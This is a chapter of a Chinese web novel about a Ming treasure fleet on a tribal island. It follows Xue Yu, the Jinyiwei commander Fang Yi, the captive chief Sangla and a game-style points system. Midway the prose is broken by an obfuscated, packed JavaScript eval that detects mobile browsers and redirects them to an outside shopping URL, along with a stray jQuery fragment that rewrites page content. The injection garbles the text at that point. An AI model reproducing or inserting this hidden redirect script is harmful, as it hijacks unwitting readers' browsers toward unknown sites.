好不容易得到千户大人的允准,薛誉复来到那株古木下,设法将人救下来。
“他完了!”
帕查雅一踏上地面,气哼哼地,肩膀发着细颤,眸中隐有水色,嘴巴却跟机关枪似的:“等我回国,马上让那个什么方千户完蛋!气死我了,竟敢把我丢树上!”
“嘘——!”
薛誉竖起一根食指在唇间:“他是锦衣卫……就是特务,别人说什么悄悄话他都能知道的那种。小心他知道了再把你丢上去,我可没力气再去救你啊。”
“我、我才不怕呢!”
声音渐弱。
皎皎月华下,薛誉看到对方的腮边犹有泪痕——偷哭来着,可刚才见到自己折返回来倒是一脸凶巴巴地,像一只瘦弱但迫不及待亮出爪牙的小兽,薛誉有点好笑地摇摇头,认真道:“你不是抱着孔雀回屋了吗?怎么又碰见他,还被抛树上了?”
帕查雅哼了一声,将头扭至一旁,
“不告诉你!”
她脸上一阵恼怒之色。
——雄孔雀死了,悲伤过后,帕查雅便想去找那个野蛮人算账,谁知道那什么方千户说什么也不让,说不能在这里杀了对方什么的,“懦夫!”她恨恨地骂,骂他一个尤不解恨,逐渐扩展到整只船队乃至于天朝。
不知哪个字眼惹怒了对方,他登时变了脸色,冷笑连连,拎小鸡仔似的拎她到巨树下,飞身上了高几十米的树冠。
然后自己下去了,留她一个孤零零秋风落叶似的发抖,还十分恶劣地在下面看笑话,直到薛誉来。
“咕咕…”
肚子不合时宜地响起。
“我还剩点椰子鸡,”薛誉也不恼,“你吃点吗?”
“你邀请的话我就吃点好了。”
“……”还挺勉强。
等帕查雅吃饱喝足,两人倚在椰树下有一搭没一搭地聊天,“真的太过分了!”间或夹杂一句帕查雅小小声的抱怨,薛誉头一点一点地,困倦道:“啊对。”海风习习,安慰之语渺渺,当晨雾笼罩这座小岛时,一队士兵从林中整齐步出。
他们二人合力挑一只大木桶,沉甸甸地往船队方向去,木桶装满了淡水,晃悠悠,不时倾洒出来,湿了一路浅滩。
这样来回两三趟后,船队其他人也陆续出现,有船工搬了营帐、炊具等杂七杂八的东西一趟趟往船边运送,迷迷瞪瞪的薛誉听到了温医官吹胡子瞪眼的声音:“稳重点稳重点,小心撞了贵人你们这两个小崽子!”
还有一些指挥声。
“我的孔雀!”
旁边的帕查雅瞬间惊醒,一下蹦起身,飞也似的奔入椰林中。
薛誉却没被这个小插曲影响,她拢拢衣衫,再度倚着椰树,在微熹的晨光里沉沉睡去。
头顶忽有人道:“香玉呢?”睁睁沉重的眼皮,薛誉瞧见一双被锦袍半遮半掩的结实大腿,视线缓慢上挪,一寸寸地,终于与千户大人居高临下的目光碰个正着。
只一眼,对方哑然失笑:“一只眼睁着,一只眼闭着?一夜不见成了独眼龙?”
薛誉忙跳起,
“呃——!”方向不对,她狠狠地撞上了千户大人的下巴,对方惊叫一声。
“没、没事吧?”
她结结巴巴地问,只见一拳之遥的唇瓣上被牙狠狠磕破了一层皮,千户大人拧着眉头抬手拭了一把,一滴艳红落在他的指尖上。
“没事……”
回答声有点气恼。
“&*#@%……”
“老实点!”
此时的椰林中传来阵阵的叫嚷声,是野人首领桑拉被两个锦衣卫架着,形容狼狈地从椰林中走出。
桑拉被紧紧捆着,捆年猪似的,他眼睛红肿,面色青灰,像是几天几夜没睡了。
架着他的两个锦衣卫嫌他个矮速度慢,不住推搡他,惹得桑拉骂骂咧咧。
“这是……?”薛誉不解,面前的人却径直转身,大步朝桑拉行去,“堵口!”
被堵住嘴的桑拉一脸愤恨地死死盯着方意。后者浑不在意,喝着锦衣卫、士兵和船工们:
“都动作麻利些!巳时一刻准时开船,延误者鞭三十!”
此言一出,搬运速度骤然加快。三两趟之后,眼见已经没人再往椰林中钻了。“*¥#@……%!”又一阵“叽里咕噜”的古怪叫嚷过后,一群野人从林中奔出。
他们持着长矛,行动灵活,面上涂着红一道棕一道的染料,一瞬间仿佛时光倒流,初上岛的画面再次出现在薛誉面前,只是这次野人们对准的却是千户大人。
千户大人丝毫不慌,甚至玩味地挑挑眉,道:“真是不是一家人,不进一家门,勇气可嘉!”他将通译叫来,“问问这是要做什么?如果是要求我放了桑拉,那免谈!”
通译交涉一会儿,苦着脸回来,“大人英明,桑吉拉托确实是这个意思。”
——桑吉拉托是女野人的名字。
“大人!船队已准备就绪,”海边跑来一名总旗,气喘吁吁道:“只待大人一声令下,即可抛锚起航。”
方意挥挥手让人退下,跟通译道:“告诉她,船队即刻出发,关于我为什么要带走桑拉已经说得很明白了。懒得重复。不过如果她不要命了,想跟我天朝的兵士们试练两把,那就尽管放马过来。”
十来只兵士小队迅速在方意身后集结。
对不远处的野人们造成了很大的震慑。
只有桑吉拉托一个例外,她眼睛充血,眼珠鼓胀突出,见身边族人皆现出退缩之色,不由得大骂,不过这边的薛誉听不懂也就是了,她仍然不解,试探性地道:“所以大人究竟为何要带走桑拉呢?”因为破坏天佑号?
那不应该将那日试图作乱的全都带走吗?
“理由来了。”方意指指密林中奔跃而来的身影。
——是帕查雅。
方意继续道:“这位桑拉首领硬说帕查雅并非他掳掠而来,帕查雅指责他是为脱罪而撒谎,双方争执不下,”说着说着,他笑起来,动作牵动唇上的伤口,痛哼一声又道:“为了搞清楚事情真相,只好请这位桑拉首领走一趟暹罗了……”
薛誉倒是听出了千户大人话里的未尽之意:
船队解救了帕查雅,要将身份尊崇的帕查雅送回暹罗,就不得不把罪魁祸首一并抓回去
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17164876|196660||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
。
若帕查雅的确不是被桑拉掳掠至此的,那也许会被暹罗放回来;可若真是,那是死是活就连船队也难置喙了。
“为什么给他们留下作物种子?”抱着雌孔雀飞奔而来的帕查雅十分不满,“他们都跟那个桑拉是一伙的,都是坏人!”
方意耸耸肩,“那是船队支付的淡水的报酬。一码归一码。”
帕查雅跺了跺脚,满脸不快地朝天佑号的方向奔去。
而野人们那边,通译还在不住地“引诱”着:
“作物种子以及这些陶瓷玉器,便是我们支付的淡水费用。你们前日险些将我们派来的勇士活祭,我们方大人已然大人不记小人过。至于桑拉首领被带走一事,若不是他做的,自然会好端端回来,真要是他干的,那是自作自受怪不得别人!你们及时收手,这些工具便也是你们的,若是不识好歹,休怪刀枪无眼。”
野人们你看看我,我看看你,低声谋划着什么。
令人傻眼的一幕来了——野人们将桑吉拉托绑了起来,然后派了十来个代表上前取走了所有的工具,并远远地对方意挥了挥手,示意船队尽快离去。
至此,千户大人兵不血刃地带着人乘坐小船回到了天佑号上。
*
再次踏上天佑号,薛誉说不清心里到底是什么感受——
明明天佑号在未来很长一段时间里都要行驶在汪洋大海中,是真正的漂泊之所,可她此时此却感受到了一种诡异的心安。
抛锚起航,系统提示音在薛誉脑中响起:
【恭喜宿主解锁海图:野人岛!积分+699。】千万朵电子烟花在光屏上绽放。
薛誉惊喜“诶”了声,打开自己的面板:
【宿主姓名:薛誉(等级:L1)(获得称号:小小航海家)
年龄:18
身份:大学生/渔民/阴阳生
积分:732(获得称号:略有薄产)
生物图鉴:黄鱼,带鱼,马鲛,皮皮虾,椰子,小虾虎鱼……
海图:东海,南海(野人岛)。
商城:已解锁!(快来豪掷千金吧!)
背包:神奇罗盘X1、永不熄灭的蜡烛X1、饼干X3、淡水珠X1,指南针X1,干粮X3,淡水X8,捕鱼叉X1,长刀X1,匕首X1,信号弹X1,船桨X2,金锭X4】
积分大增加,商城中解锁了许多东西,薛誉正喜滋滋地浏览,不远处的甲板上传来一声嗤笑:
“真是艺高人胆大!居然能追到这儿来!”
薛誉好奇抬头,顺着话音传来的方向望去,只一眼,就惊掉了下巴。
——桑吉拉托居然挣脱了野人们的束缚,独自一人乘着小大船往此处划。
一边划,一边“叽里咕噜”地叫,叫声撕心裂肺,别的薛誉都听不懂,只有一个“桑拉”一遍又一遍地被海风送入她耳中。
“天哪。”薛誉感慨万千,微微屏住呼吸,眼睛一眨不眨地望着辽阔海面上的那只小大船。上一次被其追赶时,她慌急了,这一次倒是有点可怜对方了。
以独木舟追大宝船,何异于蜉蝣撼树哉?